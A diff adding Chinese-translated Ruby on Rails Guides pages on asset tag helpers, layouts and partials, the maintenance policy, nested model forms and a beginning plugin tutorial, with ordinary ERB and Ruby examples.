静态资源辅助方法用于生成链接到订阅源、JavaScript、样式表、图像、视频和音频的 HTML 代码。Rails 提供了六个静态资源标签辅助方法:

+
    +
  • auto_discovery_link_tag +
  • +
  • javascript_include_tag +
  • +
  • stylesheet_link_tag +
  • +
  • image_tag +
  • +
  • video_tag +
  • +
  • audio_tag +
  • +
+

这六个辅助方法可以在布局或视图中使用,不过 auto_discovery_link_tagjavascript_include_tagstylesheet_link_tag 最常出现在布局的 <head> 元素中。

静态资源标签辅助方法不会检查指定位置是否存在静态资源,而是假定你知道自己在做什么,它只负责生成对相应的链接。

auto_discovery_link_tag 辅助方法生成的 HTML,多数浏览器和订阅源阅读器都能从中自动识别 RSS 或 Atom 订阅源。这个方法的参数包括链接的类型(:rss:atom)、传递给 url_for 的散列选项,以及该标签使用的散列选项:

+
+<%= auto_discovery_link_tag(:rss, {action: "feed"},
+  {title: "RSS Feed"}) %>
+
+
+
+

auto_discovery_link_tag 的标签选项有三个:

+
    +
  • :rel:指定链接中 rel 属性的值,默认值为 "alternate"
  • +
  • :type:指定 MIME 类型,不过 Rails 会自动生成正确的 MIME 类型;
  • +
  • :title:指定链接的标题,默认值是 :type 参数值的全大写形式,例如 "ATOM""RSS"
  • +
+

3.1.2 使用 javascript_include_tag 链接 JavaScript 文件

javascript_include_tag 辅助方法为指定的各个资源生成 HTML script 标签。

如果启用了 Asset Pipeline,这个辅助方法生成的链接指向 /assets/javascripts/ 而不是 Rails 旧版中使用的 public/javascripts。链接的地址由 Asset Pipeline 伺服。

Rails 应用或 Rails 引擎中的 JavaScript 文件可存放在三个位置:app/assetslib/assetsvendor/assets。详细说明参见 静态资源文件的组织方式

文件的地址可使用相对文档根目录的完整路径或 URL。例如,如果想链接到 app/assetslib/assetsvendor/assets 文件夹中名为 javascripts 的子文件夹中的文件,可以这么做:

+
+<%= javascript_include_tag "main" %>
+
+
+
+

Rails 生成的 script 标签如下:

+
+<script src='http://github.com/assets/main.js'></script>
+
+
+
+

对这个静态资源的请求由 Sprockets gem 伺服。

若想同时引入多个文件,例如 app/assets/javascripts/main.jsapp/assets/javascripts/columns.js,可以这么做:

+
+<%= javascript_include_tag "main", "columns" %>
+
+
+
+

引入 app/assets/javascripts/main.jsapp/assets/javascripts/photos/columns.js 的方式如下:

+
+<%= javascript_include_tag "main", "/photos/columns" %>
+
+
+
+

引入 http://example.com/main.js 的方式如下:

+
+<%= javascript_include_tag "http://example.com/main.js" %>
+
+
+
+

stylesheet_link_tag 辅助方法为指定的各个资源生成 HTML <link> 标签。

如果启用了 Asset Pipeline,这个辅助方法生成的链接指向 /assets/stylesheets/,由 Sprockets gem 伺服。样式表文件可以存放在三个位置:app/assetslib/assetsvendor/assets

文件的地址可使用相对文档根目录的完整路径或 URL。例如,如果想链接到 app/assetslib/assetsvendor/assets 文件夹中名为 stylesheets 的子文件夹中的文件,可以这么做:

+
+<%= stylesheet_link_tag "main" %>
+
+
+
+

引入 app/assets/stylesheets/main.cssapp/assets/stylesheets/columns.css 的方式如下:

+
+<%= stylesheet_link_tag "main", "columns" %>
+
+
+
+

引入 app/assets/stylesheets/main.cssapp/assets/stylesheets/photos/columns.css 的方式如下:

+
+<%= stylesheet_link_tag "main", "photos/columns" %>
+
+
+
+

引入 http://example.com/main.css 的方式如下:

+
+<%= stylesheet_link_tag "http://example.com/main.css" %>
+
+
+
+

默认情况下,stylesheet_link_tag 创建的链接属性为 media="screen" rel="stylesheet"。指定相应的选项(:media:rel)可以覆盖默认值:

+
+<%= stylesheet_link_tag "main_print", media: "print" %>
+
+
+
+

3.1.4 使用 image_tag 链接图像

image_tag 辅助方法为指定的文件生成 HTML <img /> 标签。默认情况下,从 public/images 文件夹中加载文件。

注意,必须指定图像的扩展名。

+
+<%= image_tag "header.png" %>
+
+
+
+

还可以指定图像的路径:

+
+<%= image_tag "icons/delete.gif" %>
+
+
+
+

可以使用散列指定额外的 HTML 属性:

+
+<%= image_tag "icons/delete.gif", {height: 45} %>
+
+
+
+

可以指定一个替代文本,在关闭图像的浏览器中显示。如果没指定替代文本,Rails 会使用图像的文件名,去掉扩展名,并把首字母变成大写。例如,下面两个标签会生成相同的代码:

+
+<%= image_tag "home.gif" %>
+<%= image_tag "home.gif", alt: "Home" %>
+
+
+
+

还可指定图像的尺寸,格式为“{width}x{height}”:

+
+<%= image_tag "home.gif", size: "50x20" %>
+
+
+
+

除了上述特殊的选项外,还可在最后一个参数中指定标准的 HTML 属性,例如 :class:id:name

+
+<%= image_tag "home.gif", alt: "Go Home",
+                          id: "HomeImage",
+                          class: "nav_bar" %>
+
+
+
+

3.1.5 使用 video_tag 链接视频

video_tag 辅助方法为指定的文件生成 HTML5 <video> 标签。默认情况下,从 public/videos 文件夹中加载视频文件。

+
+<%= video_tag "movie.ogg" %>
+
+
+
+

生成的 HTML 如下:

+
+<video src="http://github.com/videos/movie.ogg" />
+
+
+
+

image_tag 类似,视频的地址可以使用绝对路径,或者相对 public/videos 文件夹的路径。而且也可以指定 size: "{height}" 选项。在 video_tag 的末尾还可指定其他 HTML 属性,例如 idclass 等。

video_tag 方法还可使用散列指定 <video> 标签的所有属性,包括:

+
    +
  • poster: "image_name.png":指定视频播放前在视频的位置显示的图片;
  • +
  • autoplay: true:页面加载后开始播放视频;
  • +
  • loop: true:视频播完后再次播放;
  • +
  • controls: true:为用户显示浏览器提供的控件,用于和视频交互;
  • +
  • autobuffer: true:页面加载时预先加载视频文件;
  • +
+

把数组传递给 video_tag 方法可以指定多个视频:

+
+<%= video_tag ["trailer.ogg", "movie.ogg"] %>
+
+
+
+

生成的 HTML 如下:

+
+<video>
+  <source src="http://github.com/trailer.ogg" />
+  <source src="http://github.com/movie.ogg" />
+</video>
+
+
+
+

3.1.6 使用 audio_tag 链接音频

audio_tag 辅助方法为指定的文件生成 HTML5 <audio> 标签。默认情况下,从 public/audio 文件夹中加载音频文件。

+
+<%= audio_tag "music.mp3" %>
+
+
+
+

还可指定音频文件的路径:

+
+<%= audio_tag "music/first_song.mp3" %>
+
+
+
+

还可使用散列指定其他属性,例如 :id:class 等。

video_tag 类似,audio_tag 也有特殊的选项:

+
    +
  • autoplay: true:页面加载后开始播放音频;
  • +
  • controls: true:为用户显示浏览器提供的控件,用于和音频交互;
  • +
  • autobuffer: true:页面加载时预先加载音频文件;
  • +
+

3.2 理解 yield +

在布局中,yield 标明一个区域,渲染的视图会插入这里。最简单的情况是只有一个 yield,此时渲染的整个视图都会插入这个区域:

+
+<html>
+  <head>
+  </head>
+  <body>
+  <%= yield %>
+  </body>
+</html>
+
+
+
+

布局中可以标明多个区域:

+
+<html>
+  <head>
+  <%= yield :head %>
+  </head>
+  <body>
+  <%= yield %>
+  </body>
+</html>
+
+
+
+

视图的主体会插入未命名的 yield 区域。若想在具名 yield 区域插入内容,要使用 content_for 方法。

3.3 使用 content_for 方法

content_for 方法在布局的具名 yield 区域插入内容。例如,下面的视图会在前一节的布局中插入内容:

+
+<% content_for :head do %>
+  <title>A simple page</title>
+<% end %>
+
+<p>Hello, Rails!</p>
+
+
+
+

套入布局后生成的 HTML 如下:

+
+<html>
+  <head>
+  <title>A simple page</title>
+  </head>
+  <body>
+  <p>Hello, Rails!</p>
+  </body>
+</html>
+
+
+
+

如果布局中不同的区域需要不同的内容,例如侧边栏和页脚,就可以使用 content_for 方法。content_for 方法还可以在通用布局中引入特定页面使用的 JavaScript 或 CSS 文件。

3.4 使用局部视图

局部视图把渲染过程分为多个管理方便的片段,把响应的某个特殊部分移入单独的文件。

3.4.1 具名局部视图

在视图中渲染局部视图可以使用 render 方法:

+
+<%= render "menu" %>
+
+
+
+

渲染这个视图时,会渲染名为 _menu.html.erb 的文件。注意文件名开头有个下划线。局部视图的文件名以下划线开头,以便和普通视图区分开,不过引用时无需加入下划线。即便从其他文件夹中引入局部视图,规则也是一样:

+
+<%= render "shared/menu" %>
+
+
+
+

这行代码会引入 app/views/shared/_menu.html.erb 这个局部视图。

3.4.2 使用局部视图简化视图

局部视图的一种用法是作为子程序(subroutine),把细节提取出来,以便更好地理解整个视图的作用。例如,有如下的视图:

+
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+...
+
+<%= render "shared/footer" %>
+
+
+
+

这里,局部视图 _ad_banner.html.erb_footer.html.erb 可以包含应用多个页面共用的内容。在编写某个页面的视图时,无需关心这些局部视图中的详细内容。

如前几节所述,yield 是保持布局简洁的利器。要知道,那是纯 Ruby,几乎可以在任何地方使用。例如,可以使用它去除相似资源的表单布局定义:

+
    +
  • +

    users/index.html.erb

    +
    +
    +<%= render "shared/search_filters", search: @q do |f| %>
    +  <p>
    +    Name contains: <%= f.text_field :name_contains %>
    +  </p>
    +<% end %>
    +
    +
    +
    +
  • +
  • +

    roles/index.html.erb

    +
    +
    +<%= render "shared/search_filters", search: @q do |f| %>
    +  <p>
    +    Title contains: <%= f.text_field :title_contains %>
    +  </p>
    +<% end %>
    +
    +
    +
    +
  • +
  • +

    shared/_search_filters.html.erb

    +
    +
    +<%= form_for(search) do |f| %>
    +  <h1>Search form:</h1>
    +  <fieldset>
    +    <%= yield f %>
    +  </fieldset>
    +  <p>
    +    <%= f.submit "Search" %>
    +  </p>
    +<% end %>
    +
    +
    +
    +
  • +
+

应用所有页面共用的内容,可以直接在布局中使用局部视图渲染。

3.4.3 局部布局

与视图可以使用布局一样,局部视图也可使用自己的布局文件。例如,可以这样调用局部视图:

+
+<%= render partial: "link_area", layout: "graybar" %>
+
+
+
+

这行代码会使用 _graybar.html.erb 布局渲染局部视图 _link_area.html.erb。注意,局部布局的名称也以下划线开头,而且与局部视图保存在同一个文件夹中(不在 layouts 文件夹中)。

还要注意,指定其他选项时,例如 :layout,必须明确地使用 :partial 选项。

3.4.4 传递局部变量

局部变量可以传入局部视图,这么做可以把局部视图变得更强大、更灵活。例如,可以使用这种方法去除新建和编辑页面的重复代码,但仍然保有不同的内容:

+
    +
  • +

    new.html.erb

    +
    +
    +<h1>New zone</h1>
    +<%= render partial: "form", locals: {zone: @zone} %>
    +
    +
    +
    +
  • +
  • +

    edit.html.erb

    +
    +
    +<h1>Editing zone</h1>
    +<%= render partial: "form", locals: {zone: @zone} %>
    +
    +
    +
    +
  • +
  • +

    _form.html.erb

    +
    +
    +<%= form_for(zone) do |f| %>
    +  <p>
    +    <b>Zone name</b><br>
    +    <%= f.text_field :name %>
    +  </p>
    +  <p>
    +    <%= f.submit %>
    +  </p>
    +<% end %>
    +
    +
    +
    +
  • +
+

虽然两个视图使用同一个局部视图,但 Action View 的 submit 辅助方法为 new 动作生成的提交按钮名为“Create Zone”,而为 edit 动作生成的提交按钮名为“Update Zone”。

把局部变量传入局部视图的方式是使用 local_assigns

+
    +
  • +

    index.html.erb

    +
    +
    +<%= render user.articles %>
    +
    +
    +
    +
  • +
  • +

    show.html.erb

    +
    +
    +<%= render article, full: true %>
    +
    +
    +
    +
  • +
  • +

    _articles.html.erb

    +
    +
    +<h2><%= article.title %></h2>
    +
    +<% if local_assigns[:full] %>
    +  <%= simple_format article.body %>
    +<% else %>
    +  <%= truncate article.body %>
    +<% end %>
    +
    +
    +
    +
  • +
+

这样无需声明全部局部变量。

每个局部视图中都有个和局部视图同名的局部变量(去掉前面的下划线)。通过 object 选项可以把对象传给这个变量:

+
+<%= render partial: "customer", object: @new_customer %>
+
+
+
+

customer 局部视图中,变量 customer 的值为父级视图中的 @new_customer

如果要在局部视图中渲染模型实例,可以使用简写句法:

+
+<%= render @customer %>
+
+
+
+

假设实例变量 @customer 的值为 Customer 模型的实例,上述代码会渲染 _customer.html.erb,其中局部变量 customer 的值为父级视图中 @customer 实例变量的值。

3.4.5 渲染集合

渲染集合时使用局部视图特别方便。通过 :collection 选项把集合传给局部视图时,会把集合中每个元素套入局部视图渲染:

+
    +
  • +

    index.html.erb

    +
    +
    +<h1>Products</h1>
    +<%= render partial: "product", collection: @products %>
    +
    +
    +
    +
  • +
  • +

    _product.html.erb

    +
    +
    +<p>Product Name: <%= product.name %></p>
    +
    +
    +
    +
  • +
+

传入复数形式的集合时,在局部视图中可以使用和局部视图同名的变量引用集合中的成员。在上面的代码中,局部视图是 _product,在其中可以使用 product 引用渲染的实例。

渲染集合还有个简写形式。假设 @productsproduct 实例集合,在 index.html.erb 中可以直接写成下面的形式,得到的结果是一样的:

+
+<h1>Products</h1>
+<%= render @products %>
+
+
+
+

Rails 根据集合中各元素的模型名决定使用哪个局部视图。其实,集合中的元素可以来自不同的模型,Rails 会选择正确的局部视图进行渲染。

+
    +
  • +

    index.html.erb

    +
    +
    +<h1>Contacts</h1>
    +<%= render [customer1, employee1, customer2, employee2] %>
    +
    +
    +
    +
  • +
  • +

    customers/_customer.html.erb

    +
    +
    +<p>Customer: <%= customer.name %></p>
    +
    +
    +
    +
  • +
  • +

    employees/_employee.html.erb

    +
    +
    +<p>Employee: <%= employee.name %></p>
    +
    +
    +
    +
  • +
+

在上面几段代码中,Rails 会根据集合中各成员所属的模型选择正确的局部视图。

如果集合为空,render 方法返回 nil,所以最好提供替代内容。

+
+<h1>Products</h1>
+<%= render(@products) || "There are no products available." %>
+
+
+
+

3.4.6 局部变量

要在局部视图中自定义局部变量的名字,调用局部视图时通过 :as 选项指定:

+
+<%= render partial: "product", collection: @products, as: :item %>
+
+
+
+

这样修改之后,在局部视图中可以使用局部变量 item 访问 @products 集合中的实例。

使用 locals: {} 选项可以把任意局部变量传入局部视图:

+
+<%= render partial: "product", collection: @products,
+           as: :item, locals: {title: "Products Page"} %>
+
+
+
+

在局部视图中可以使用局部变量 title,其值为 "Products Page"

在局部视图中还可使用计数器变量,变量名是在集合成员名后加上 _counter。例如,渲染 @products 时,在局部视图中可以使用 product_counter 表示局部视图渲染了多少次。但是不能和 as: :value 选项一起使用。

在使用主局部视图渲染两个实例中间还可使用 :spacer_template 选项指定第二个局部视图。

3.4.7 间隔模板
+
+<%= render partial: @products, spacer_template: "product_ruler" %>
+
+
+
+

Rails 会在两次渲染 _product 局部视图之间渲染 _product_ruler 局部视图(不传入任何数据)。

3.4.8 集合局部布局

渲染集合时也可使用 :layout 选项:

+
+<%= render partial: "product", collection: @products, layout: "special_layout" %>
+
+
+
+

使用局部视图渲染集合中的各个元素时会套用指定的模板。与局部视图一样,当前渲染的对象以及 object_counter 变量也可在布局中使用。

3.5 使用嵌套布局

在应用中有时需要使用不同于常规布局的布局渲染特定的控制器。此时无需复制主视图进行编辑,可以使用嵌套布局(有时也叫子模板)。下面举个例子。

假设 ApplicationController 布局如下:

+
    +
  • +

    app/views/layouts/application.html.erb

    +
    +
    +<html>
    +<head>
    +  <title><%= @page_title or "Page Title" %></title>
    +  <%= stylesheet_link_tag "layout" %>
    +  <style><%= yield :stylesheets %></style>
    +</head>
    +<body>
    +  <div id="top_menu">Top menu items here</div>
    +  <div id="menu">Menu items here</div>
    +  <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
    +</body>
    +</html>
    +
    +
    +
    +
  • +
+

NewsController 生成的页面中,我们想隐藏顶部目录,在右侧添加一个目录:

+
    +
  • +

    app/views/layouts/news.html.erb

    +
    +
    +<% content_for :stylesheets do %>
    +  #top_menu {display: none}
    +  #right_menu {float: right; background-color: yellow; color: black}
    +<% end %>
    +<% content_for :content do %>
    +  <div id="right_menu">Right menu items here</div>
    +  <%= content_for?(:news_content) ? yield(:news_content) : yield %>
    +<% end %>
    +<%= render template: "layouts/application" %>
    +
    +
    +
    +
  • +
+

就这么简单。News 视图会使用 news.html.erb 布局,隐藏顶部目录,在 <div id="content"> 中添加一个右侧目录。

使用子模板方式实现这种效果有很多方法。注意,布局的嵌套层级没有限制。使用 render template: 'layouts/news' 可以指定使用一个新布局。如果确定,可以不为 News 控制器创建子模板,直接把 content_for?(:news_content) ? yield(:news_content) : yield 替换成 yield 即可。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/maintenance_policy.html b/maintenance_policy.html new file mode 100644 index 0000000..33ce7fd --- /dev/null +++ b/maintenance_policy.html @@ -0,0 +1,243 @@ + + + + + + + +Ruby on Rails 的维护方针 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Ruby on Rails 的维护方针

对 Rails 框架的支持分为四种:新功能、缺陷修正、安全问题和严重安全问题。各自的处理方式如下,所有版本号都使用 X.Y.Z 格式。

+ + + +
+
+ +
+
+
+

Rails 遵照语义版本更替版本号:

补丁版 Z

只修正缺陷,不改变 API,也不新增功能。安全修正可能例外。

小版本 Y

新增功能,可能改变 API(相当于语义版本中的大版本)。重大改变在之前的小版本或大版本中带有弃用提示。

大版本 X

新增功能,可能改变 API。Rails 的大版本和小版本之间的区别是对重大改变的处理方式不同,有时也有例外。

1 新功能

新功能只添加到 master 分支,不会包含在补丁版中。

2 缺陷修正

只有最新的发布系列接收缺陷修正。如果修正的缺陷足够多,值得发布新的 gem,从这个分支中获取代码。

如果核心团队中有人同意支持更多的发布系列,也会包含在支持的系列中——这是特殊情况。

目前支持的系列:5.1.Z

3 安全问题

发现安全问题时,当前发布系列和下一个最新版接收补丁和新版本。

新版代码从最近的发布版中获取,应用安全补丁之后发布。然后把安全补丁应用到 x-y-stable 分支。例如,1.2.3 安全发布在 1.2.2 版的基础上得来,然后再把安全补丁应用到 1-2-stable 分支。因此,如果你使用 Rails 的最新版,很容易升级安全修正版。

目前支持的系列:5.1.Z5.0.Z

4 严重安全问题

发现严重安全问题时,会发布新版,最近的主发布系列也会接收补丁和新版。安全问题由核心团队甄别分类。

目前支持的系列:5.1.Z5.0.Z4.2.Z

5 不支持的发布系列

如果一个发布系列不再得到支持,你要自己负责处理缺陷和安全问题。我们可能会逆向移植,把修正代码发布到 Git 仓库中,但是不会发布新版本。如果你不想自己维护,应该升级到我们支持的版本。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/nested_model_forms.html b/nested_model_forms.html new file mode 100644 index 0000000..ba4855c --- /dev/null +++ b/nested_model_forms.html @@ -0,0 +1,421 @@ + + + + + + + +Rails Nested Model Forms — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Rails Nested Model Forms

Creating a form for a model and its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms and the required CRUD operations to create, update, and destroy associations.

After reading this guide, you will know:

+
    +
  • do stuff.
  • +
+ + + + +
+
+ +
+
+
+

This guide assumes the user knows how to use the Rails form helpers in general. Also, it's not an API reference. For a complete reference please visit the Rails API documentation.

1 Model setup

To be able to use the nested model functionality in your forms, the model will need to support some basic operations.

First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The fields_for form helper will look for this method to decide whether or not a nested model form should be built.

If the associated object is an array, a form builder will be yielded for each object, else only a single form builder will be yielded.

Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the :address attribute, the fields_for form helper will look for a method on the Person instance named address_attributes=.

1.1 ActiveRecord::Base model

For an ActiveRecord::Base model and association this writer method is commonly defined with the accepts_nested_attributes_for class method:

1.1.1 has_one
+
+class Person < ApplicationRecord
+  has_one :address
+  accepts_nested_attributes_for :address
+end
+
+
+
+
1.1.2 belongs_to
+
+class Person < ApplicationRecord
+  belongs_to :firm
+  accepts_nested_attributes_for :firm
+end
+
+
+
+
1.1.3 has_many / has_and_belongs_to_many
+
+class Person < ApplicationRecord
+  has_many :projects
+  accepts_nested_attributes_for :projects
+end
+
+
+
+

For greater detail on associations see Active Record Associations. +For a complete reference on associations please visit the API documentation for ActiveRecord::Associations::ClassMethods.

1.2 Custom model

As you might have inflected from this explanation, you don't necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior:

1.2.1 Single associated object
+
+class Person
+  def address
+    Address.new
+  end
+
+  def address_attributes=(attributes)
+    # ...
+  end
+end
+
+
+
+
1.2.2 Association collection
+
+class Person
+  def projects
+    [Project.new, Project.new]
+  end
+
+  def projects_attributes=(attributes)
+    # ...
+  end
+end
+
+
+
+

See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.

2 Views

2.1 Controller code

A nested model form will only be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.

Consider the following typical RESTful controller which will prepare a new Person instance and its address and projects associations before rendering the new template:

+
+class PeopleController < ApplicationController
+  def new
+    @person = Person.new
+    @person.build_address
+    2.times { @person.projects.build }
+  end
+
+  def create
+    @person = Person.new(params[:person])
+    if @person.save
+      # ...
+    end
+  end
+end
+
+
+
+

Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an after_initialize callback which is a good way to refactor this.

2.2 Form code

Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.

2.2.1 Standard form

Start out with a regular RESTful form:

+
+<%= form_for @person do |f| %>
+  <%= f.text_field :name %>
+<% end %>
+
+
+
+

This will generate the following html:

+
+<form action="http://github.com/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+</form>
+
+
+
+
2.2.2 Nested form for a single associated object

Now add a nested form for the address association:

+
+<%= form_for @person do |f| %>
+  <%= f.text_field :name %>
+
+  <%= f.fields_for :address do |af| %>
+    <%= af.text_field :street %>
+  <% end %>
+<% end %>
+
+
+
+

This generates:

+
+<form action="http://github.com/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+
+  <input id="person_address_attributes_street" name="person[address_attributes][street]" type="text" />
+</form>
+
+
+
+

Notice that fields_for recognized the address as an association for which a nested model form should be built by the way it has namespaced the name attribute.

When this form is posted the Rails parameter parser will construct a hash like the following:

+
+{
+  "person" => {
+    "name" => "Eloy Duran",
+    "address_attributes" => {
+      "street" => "Nieuwe Prinsengracht"
+    }
+  }
+}
+
+
+
+

That's it. The controller will simply pass this hash on to the model from the create action. The model will then handle building the address association for you and automatically save it when the parent (person) is saved.

2.2.3 Nested form for a collection of associated objects

The form code for an association collection is pretty similar to that of a single associated object:

+
+<%= form_for @person do |f| %>
+  <%= f.text_field :name %>
+
+  <%= f.fields_for :projects do |pf| %>
+    <%= pf.text_field :name %>
+  <% end %>
+<% end %>
+
+
+
+

Which generates:

+
+<form action="http://github.com/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+
+  <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" type="text" />
+  <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" type="text" />
+</form>
+
+
+
+

As you can see it has generated 2 project name inputs, one for each new project that was built in the controller's new action. Only this time the name attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:

+
+{
+  "person" => {
+    "name" => "Eloy Duran",
+    "projects_attributes" => {
+      "0" => { "name" => "Project 1" },
+      "1" => { "name" => "Project 2" }
+    }
+  }
+}
+
+
+
+

You can basically see the projects_attributes hash as an array of attribute hashes, one for each model instance.

The reason that fields_for constructed a hash instead of an array is that it won't work for any form nested deeper than one level deep.

You can however pass an array to the writer method generated by accepts_nested_attributes_for if you're using plain Ruby or some other API access. See (TODO) for more info and example.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/plugins.html b/plugins.html new file mode 100644 index 0000000..766f952 --- /dev/null +++ b/plugins.html @@ -0,0 +1,680 @@ + + + + + + + +Rails 插件开发简介 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Rails 插件开发简介

Rails 插件是对核心框架的扩展或修改。插件有下述作用:

+
    +
  • 供开发者分享突发奇想,但不破坏稳定的代码基
  • +
  • 碎片式架构,代码自成一体,能按照自己的日程表修正或更新
  • +
  • 核心开发者使用的外延工具,不必把每个新特性都集成到核心框架中
  • +
+

读完本文后,您将学到:

+
    +
  • 如何从零开始创建一个插件
  • +
  • 如何编写插件的代码和测试
  • +
+

本文使用测试驱动开发方式编写一个插件,它具有下述功能:

+
    +
  • 扩展 Ruby 核心类,如 Hash 和 String
  • +
  • 通过传统的 acts_as 插件形式为 ApplicationRecord 添加方法
  • +
  • 说明生成器放在插件的什么位置
  • +
+

本文暂且假设你是热衷观察鸟类的人。你钟爱的鸟是绿啄木鸟(Yaffle),因此你想创建一个插件,供其他开发者分享心得。

+ + + +
+
+ +
+
+
+

本文原文尚未完工!

1 准备

目前,Rails 插件构建成 gem 的形式,叫做 gem 式插件(gemified plugin)。如果愿意,可以通过 RubyGems 和 Bundler 在多个 Rails 应用中共享。

1.1 生成 gem 式插件

Rails 自带一个 rails plugin new 命令,用于创建任何 Rails 扩展的骨架。这个命令还会生成一个虚设的 Rails 应用,用于运行集成测试。请使用下述命令创建这个插件:

+
+$ rails plugin new yaffle
+
+
+
+

如果想查看用法和选项,执行下述命令:

+
+$ rails plugin new --help
+
+
+
+

2 测试新生成的插件

进入插件所在的目录,运行 bundle install 命令,然后使用 bin/test 命令运行生成的一个测试。

你会看到下述输出:

+
+1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

这表明一切都正确生成了,接下来可以添加功能了。

3 扩展核心类

本节说明如何为 String 类添加一个方法,让它在整个 Rails 应用中都可以使用。

这里,我们为 String 添加的方法名为 to_squawk。首先,创建一个测试文件,写入几个断言:

+
+# yaffle/test/core_ext_test.rb
+
+require 'test_helper'
+
+class CoreExtTest < ActiveSupport::TestCase
+  def test_to_squawk_prepends_the_word_squawk
+    assert_equal "squawk! Hello World", "Hello World".to_squawk
+  end
+end
+
+
+
+

然后使用 bin/test 运行测试。这个测试应该失败,因为我们还没实现 to_squawk 方法。

+
+E
+
+Error:
+CoreExtTest#test_to_squawk_prepends_the_word_squawk:
+NoMethodError: undefined method `to_squawk' for "Hello World":String
+
+
+bin/test /path/to/yaffle/test/core_ext_test.rb:4
+
+.
+
+Finished in 0.003358s, 595.6483 runs/s, 297.8242 assertions/s.
+
+2 runs, 1 assertions, 0 failures, 1 errors, 0 skips
+
+
+
+

很好,下面可以开始开发了。

lib/yaffle.rb 文件中添加 require 'yaffle/core_ext'

+
+# yaffle/lib/yaffle.rb
+
+require 'yaffle/core_ext'
+
+module Yaffle
+end
+
+
+
+

最后,创建 core_ext.rb 文件,添加 to_squawk 方法:

+
+# yaffle/lib/yaffle/core_ext.rb
+
+String.class_eval do
+  def to_squawk
+    "squawk! #{self}".strip
+  end
+end
+
+
+
+

为了测试方法的行为是否得当,在插件目录中使用 bin/test 运行单元测试:

+
+2 runs, 2 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

为了实测一下,进入 test/dummy 目录,打开控制台:

+
+$ bin/rails console
+>> "Hello World".to_squawk
+=> "squawk! Hello World"
+
+
+
+

4 为 Active Record 添加“acts_as”方法

插件经常为模型添加名为 acts_as_something 的方法。这里,我们要编写一个名为 acts_as_yaffle 的方法,为 Active Record 添加 squawk 方法。

首先,创建几个文件:

+
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < ActiveSupport::TestCase
+end
+
+
+
+
+
+# yaffle/lib/yaffle.rb
+
+require 'yaffle/core_ext'
+require 'yaffle/acts_as_yaffle'
+
+module Yaffle
+end
+
+
+
+
+
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    # 在这里编写你的代码
+  end
+end
+
+
+
+

4.1 添加一个类方法

这个插件将为模型添加一个名为 last_squawk 的方法。然而,插件的用户可能已经在模型中定义了同名方法,做其他用途使用。这个插件将允许修改插件的名称,为此我们要添加一个名为 yaffle_text_field 的类方法。

首先,为预期行为编写一个失败测试:

+
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < ActiveSupport::TestCase
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
